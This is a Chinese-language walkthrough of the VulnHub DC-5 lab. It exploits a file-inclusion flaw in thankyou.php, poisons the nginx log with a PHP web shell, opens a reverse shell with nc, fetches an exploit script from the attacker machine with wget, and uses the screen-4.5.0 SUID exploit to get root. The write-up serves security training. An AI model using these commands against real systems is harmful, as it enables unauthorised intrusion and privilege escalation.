VulnHub-DC5
- 5 mins环境下载地址:
https://www.five86.com/dc-5.html
环境搭建:
信息收集
Nmap 探测目标IP
目标IP:192.168.2.171
或者通过MAC地址确定目标IP
或者用 netdiscover -r 192.168.2.0/24 扫描IP,得到目标IP
端口扫描
发现开放80、111端口
┌─[✗]─[root@pendo]─[~]
└──╼ #nmap -sT -sV -A -T5 192.168.2.171 -p-
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-05 23:31 CST
Warning: 192.168.2.171 giving up on port because retransmission cap hit (2).
Nmap scan report for dc-5.lan (192.168.2.171)
Host is up (0.0033s latency).
Not shown: 52750 closed ports, 12783 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.6.2
|_http-server-header: nginx/1.6.2
|_http-title: Welcome
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 37590/udp6 status
| 100024 1 46390/tcp status
| 100024 1 58782/udp status
|_ 100024 1 59067/tcp6 status
MAC Address: F8:FF:C2:44:6B:5C (Apple)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 3.26 ms dc-5.lan (192.168.2.171)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.89 seconds
查看网站的页面功能后,点击打开 contact页面的提交(submit)留言后,出现变化
- 页面跳转到 Thankyou.php ,并且在URL地址栏可以看到参数,GET方式传参(get请求参数会拼接到请求地址后面(GET请求参数是写在地址栏当中的),post请求参数会放在请求体当中;)
-
发现 contact页面在提交留言后,出现变化,刷新页面时,Copyright © 2019 会一直变化,猜测页面存在文件包含
先扫描一下网站目录
命令:
┌─[root@pendo]─[~]
└──╼ #dirb http://192.168.2.171 -X .php -S
访问 状态码为:200的页面
直接访问 http://192.168.2.171/thankyou.php 界面没有变化
访问:http://192.168.2.171/footer.php
漏洞利用
考虑存在文件包含漏洞
服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,只需要更新一个包含文件就可以了,或者当向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)
该网站网页每刷新一次,年份都会发生变化,因此猜测 thinkyou.php调用了footer.php,于是想到了文件包含漏洞
测试是否动态包含,尝试FUZZ参数(爆破参数)
发现参数为:file
命令:
┌─[root@pendo]─[~]
└──╼ #wfuzz -z file,/usr/share/wfuzz/wordlist/general/common.txt http://192.168.2.171/thankyou.php?FUZZ=/etc/passwd
方法二:使用burpsuite爆破
测试:http://192.168.2.171/thankyou.php?FUZZ=/etc/passwd
用burp抓包检测,可以看到的确存在文件包含漏洞,并且没有过滤包含进来的内容
http://192.168.2.171/thankyou.php?file=/etc/passwd
将一句话木马写入到php的日志文件中,包含文件在前面的nmap扫描中,得知该web服务器使用的是Nginx服务器,并且在网站的每一步操作都将会被写入日志文件中
日志路径为:/var/log/nginx/access.log ,是系统默认路径
http://192.168.2.171/thankyou.php?file=/var/log/nginx/error.log
尝试通过log来拿shell,写入phpinfo( )进行探测,是否可以包含成功(可根据访问分析日志)
命令:<?php phpinfo( ) ?>
将一句话木马通过URL写入到服务器上面,并且通过burp进行抓包
通过日志文件log查看是否写入成功,查看日志已经写入成功
进行测试,看是否外部命令能够正常执行
执行成功
使用蚁剑连接
连接成功
反弹shell
通过nc命令直接进行shell反弹
监听端口:nc -nlvp 1234
浏览器访问:http://192.168.2.133/thankyou.php?file=/var/log/nginx/access.log
开始监听
切换到交互模式shell
命令:python -c 'import pty;pty.spawn("/bin/bash")'
查看具有特殊权限的二进制文件
查找一下可以用root权限运行的命令
命令:find / -perm -u=s -type f 2>/dev/null
这里发现一个 screen-4.5.0 这个特殊文件
在parrot中使用searchsploit命令对screen-4.5.0漏洞进行搜索
直接利用
/usr/share/exploitdb/exploits/linux/local/41154.sh
将该文件拷贝至攻击机 /home/pendo 目录下
将41154.sh文件上传到目标机DC-5
如何上传? 首先在攻击机 41154.sh文件所在目录下开启 python.server,供下载
命令:python3 -m http.server 9999
切换目标机目录 /tmp,下载文件
命令:www-data@dc-5:/tmp$ wget http://192.168.2.110:9999/41154.sh
编译脚本
chmod +x 41154.sh
sed -i "s/r//" 41154.sh
./41154.sh
发现脚本执行错误
重新在攻击机中打开 41154.sh文件,研究一下脚本代码
通过分析,根据代码提示,对以上代码应该分三步走
① libhax.c 代码并编译
编译完后,删除源代码文件
② rootshell.c代码并编译
编译完后,删除源代码文件
③ 41154.sh
④ vim编辑41154.sh,并使用 :set ff=unix 进行保存,并更名为 dc5.sh
⑤ 重新将编译好的文件上传到目标机
最终上传文件
提权
给 dc5.sh 赋予执行权,并运行,提权成功
切换到根目录,找到 flag
问题解决:
Burpsuite在发送请求,响应时,出现 文件太大无法显示的问题
解决办法:
在拦截的时候,提前做一步 Do intercept,然后再 send to repeater就正常显示了